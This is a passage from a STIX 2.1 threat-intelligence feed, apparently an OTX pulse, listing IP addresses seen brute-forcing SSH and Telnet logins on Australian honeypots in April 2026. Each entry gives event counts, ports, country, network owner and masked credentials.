      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ce2de760-2eb5-481f-b3e1-f69c1c277227",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.19.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, t**t, u****u, 3**********4, ***. Passwords observed (masked): 1*********y, 3***********4, 3**********4, F*******!, U****@.",
      "id": "indicator--6db9cb52-1427-4eed-a9ea-52bf11e02972",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.101.59.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T18:15:10.000Z",
      "valid_until": "2026-05-19T18:15:01.000Z"
    },
    {
      "created": "2026-04-17T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 548. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, m*****r, s*****t, u**t. Passwords observed (masked): 1****6, 1**4, a***n, 0**************D, p******d.",
      "id": "indicator--0fb73864-afcf-469c-924d-37838a0b7fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.47.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T18:15:10.000Z",
      "valid_until": "2026-05-19T18:15:01.000Z"
    },
    {
      "created": "2026-04-17T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 209373. Organisation(s): Swissnet LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--912a9390-38ee-40ea-8fb8-c700a0f1e454",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T18:15:10.000Z",
      "valid_until": "2026-05-19T18:15:01.000Z"
    },
    {
      "created": "2026-04-17T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, v****t, 3**********4, u****u. Passwords observed (masked): 3***********4, 3**********4, A**********!, P**s, a*******1.",
      "id": "indicator--41dc6e29-385d-460c-8af9-69b9b15c1e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.78.202.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T18:15:10.000Z",
      "valid_until": "2026-05-19T18:15:01.000Z"
    },
    {
      "created": "2026-04-17T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--555a7b9a-519c-43c8-b4f8-dd25ded56fed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.88.88.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T19:15:04.000Z",
      "valid_until": "2026-05-19T19:15:02.000Z"
    },
    {
      "created": "2026-04-17T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--78f24f92-2a2e-49c1-b201-9c1254304cd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.94.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T19:15:04.000Z",
      "valid_until": "2026-05-19T19:15:02.000Z"
    },
    {
      "created": "2026-04-17T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--d5861336-694d-47f8-96d0-31aa01deefd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T19:15:04.000Z",
      "valid_until": "2026-05-19T19:15:02.000Z"
    },
    {
      "created": "2026-04-17T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--bb33ef84-f8ef-4198-83e0-f197e442e529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T19:15:04.000Z",
      "valid_until": "2026-05-19T19:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--bf914b35-eedb-40ee-8e59-334262e47c76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.40.128.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--60d75ca8-db15-48d3-8fa4-45217a607e24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, ***, s****a. Passwords observed (masked): ***, s****a, u****u, u*******3.",
      "id": "indicator--0355f825-3683-40fa-b96e-b9cd9e425a71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.89.174.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 5769. Organisation(s): Videotron Ltee.",
      "id": "indicator--e34db77b-d6d4-44f7-a88c-5ded0d2a2dca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.178.113.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7311. Organisation(s): Frontier Networks Inc.",
      "id": "indicator--ad1733a3-caf3-4499-82e9-0d389ac10b6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.126.86.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NZ. ASN(s): 9500. Organisation(s): One New Zealand Group Limited.",
      "id": "indicator--e5dd8d30-13ff-4c71-abbd-dd418102676f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.252.21.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--78643068-5537-4b01-8db6-20c7213983c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.157.88.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T20:15:03.000Z",
      "valid_until": "2026-05-19T20:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--d57b5d78-8fcc-4df4-8d59-4e7297c69e88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.206.100.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): d****y, u**r. Passwords observed (masked): f******0, l***l.",
      "id": "indicator--1f72f2bb-bca6-449a-9c7e-59b4aaf5ad1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '137.184.228.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7f04775a-52df-4234-8a53-4a3bb38c1c9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.74.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9694. Organisation(s): Seokyung Cable Television Co.. Ltd..",
      "id": "indicator--73730741-e8f5-474f-b117-46abeb4532ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.31.46.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t. Passwords observed (masked): Q*********@.",
      "id": "indicator--6eea1971-9bf8-47a1-b4cf-8821bd43cc4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.160.226.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): p******s, r**t. Passwords observed (masked): **, R********!.",
      "id": "indicator--62bac2fc-7879-41b0-8b03-89b5097ab5d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.119.37.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u. Passwords observed (masked): !******z, A******9.",
      "id": "indicator--37e2fcd3-ca2f-4191-b704-0ed2fcc2fc44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.169.217.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Usernames observed (masked): u*****p, 3**********4, r**t. Passwords observed (masked): 3***********4, 3**********4, Q**********., p******d.",
      "id": "indicator--eed97cde-a5d3-4bdd-8f04-d6be073cbac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.159.104.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T21:15:05.000Z",
      "valid_until": "2026-05-19T21:15:02.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): ***, j*****s, p****r, s***y, s****r. Passwords observed (masked): 1****6, 1******r, S****0, b*****3, p****r.",
      "id": "indicator--42a05dd6-e2e8-4251-933d-59a069e470ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.144.225.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, c*****r, l*******r, ***, u**r. Passwords observed (masked): 1****6, 1******x, B*****0, c*****r, q*******4.",
      "id": "indicator--d43a0110-5570-4243-922d-f9b89cb3d577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): 3**********4, c****e, ***, j*****e, p******s. Passwords observed (masked): 3***********4, 3**********4, H********$, ***, c******0.",
      "id": "indicator--3422c9f3-5840-40d1-a25e-34e9d6eb4b3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): 3**********4, c****e, p****r, s***k, t****r. Passwords observed (masked): 3**********4, 3***********4, C*****7, s***k, t*********6.",
      "id": "indicator--166d17c7-a076-40ac-838f-b5fcc527c93c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d837803e-bf19-4afc-b937-f88a6724b58a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.243.37.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 47583. Organisation(s): Hostinger International Limited.",
      "id": "indicator--b19ae766-31a8-4c2b-917a-5afd96f24be7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.61.58.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T22:15:10.000Z",
      "valid_until": "2026-05-19T22:15:09.000Z"
    },
    {
      "created": "2026-04-17T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, u***2, **. Passwords observed (masked): 1**********y, 1****6, 3***********4, 3**********4, A************!.",
      "id": "indicator--3daa3d3a-14df-4713-a23e-9829fec33b31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.63.196.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T23:15:04.000Z",
      "valid_until": "2026-05-19T23:15:02.000Z"
    },
    {
      "created": "2026-04-17T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4a6acbc5-9a97-4103-a5fa-0ebbbf9a5867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T23:15:04.000Z",
      "valid_until": "2026-05-19T23:15:02.000Z"
    },
    {
      "created": "2026-04-17T23:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US.",
      "id": "indicator--11ee2afa-55fd-4ad4-8ec2-ee811911b6c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
